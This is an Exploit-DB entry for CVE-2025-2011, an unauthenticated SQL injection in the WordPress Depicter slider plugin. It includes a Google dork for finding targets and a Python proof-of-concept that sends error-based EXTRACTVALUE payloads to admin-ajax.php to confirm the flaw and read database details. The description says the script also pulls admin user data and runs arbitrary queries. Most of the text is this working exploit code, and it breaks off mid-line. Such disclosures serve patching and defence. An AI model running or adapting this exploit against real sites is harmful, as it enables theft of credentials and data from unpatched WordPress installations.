Exploit-DB #52285
Description: WordPress Depicter Plugin 3.6.1 - SQL Injection
Type: webapps
Platform: multiple
Date: 2025-05-09
Author: Andrew Long

Exploit:
# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection
# Google Dork: inurl:/wp-content/plugins/depicter/
# Date: 2025-05-06
# Exploit Author: Andrew Long (datagoboom)
# Vendor Homepage: https://wordpress.org/plugins/depicter/
# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
# Version: <= 3.6.1
# Tested on: WordPress 6.x
# CVE: CVE-2025-2011
 
# Description:
# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1.
# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to:
# 1. Check if a target is vulnerable
# 2. Extract admin user details
# 3. Execute custom SQL queries

# The exploit is provided as a Python script (poc.py) that includes:
# - Error-based SQL injection detection
# - Admin user information extraction
# - Custom SQL query execution capability
# - Debug mode for detailed output
 

#!/usr/bin/env python3

import argparse
import re
import sys
import time
import html
import urllib.parse
from urllib.parse import urlparse

try:
    import requests
    from colorama import Fore, Style, init
    init(autoreset=True)
    USE_COLOR = True
except ImportError:
    class MockColorama:
        def __getattr__(self, name):
            return ""
    
    Fore = Style = MockColorama()
    USE_COLOR = False
    
    print("[!] Missing dependencies. Install with: pip install requests colorama")
    print("[!] Continuing without colored output...")

def print_banner():
    banner = f"""
{Fore.CYAN}╔════════════════════════════════════════════════════════════════╗
{Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║
{Fore.CYAN}║ {Fore.GREEN}By datagoboom                                          {Fore.CYAN}        ║
{Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """
    print(banner)

def verify_target(url):
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = "http://" + url
    if url.endswith('/'):
        url = url[:-1]
    
    print(f"{Fore.YELLOW}[*] Target URL: {url}")
    return url

def test_connection(url):
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            print(f"{Fore.GREEN}[+] Successfully connected to the target")
            return True
        else:
            print(f"{Fore.RED}[-] Received status code {response.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}[-] Connection error: {e}")
        return False

def extract_data(url, sql_query, max_length=50, debug=False):
    payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
    
    target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}"
    
    try:
        if debug:
            print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}")
        
        response = requests.get(target_url, timeout=20)
        
        if debug:
            print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}")
        
        decoded_text = html.unescape(response.text)
        
        error_pattern = r"XPATH syntax error: '~(.*?)~'"
        match = re.search(error_pattern, decoded_text)
        
        if match:
            extracted_data = match.group(1)
            return extracted_data
        else:
            if debug:
                print(f"{Fore.RED}[-] No XPATH syntax error found in response")
                if "XPATH syntax error" in decoded_text:
                    print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:")
                    print(f"{Fore.RED}[-] {decoded_text[:500]}")
                else:
                    print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:")
                    print(f"{Fore.RED}[-] {decoded_text[:500]}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}[-] Error during extraction: {e}")
        return None

def check_vulnerability(url, debug=False):
    print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...")
    
    result = extract_data(url, "database()", debug=debug)
    
    if result:
        print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
        print(f"{Fore.GREEN}[+] Database name: {result}")
        return True
    else:
        result = extract_data(url, "VERSION()", debug=debug)
        if result:
            print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
            print(f"{Fore.GREEN}[+] MySQL version: {result}")
            return True
        else:
            result = extract_data(url, "'test'", debug=debug)
            if result:
                print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
                print(f"{Fore.GREEN}[+] Test value: {result}")
                return True
            else:
                print(f"{Fore.RED}[-] Target does not appear to be vulnerable")
                manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
                print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{man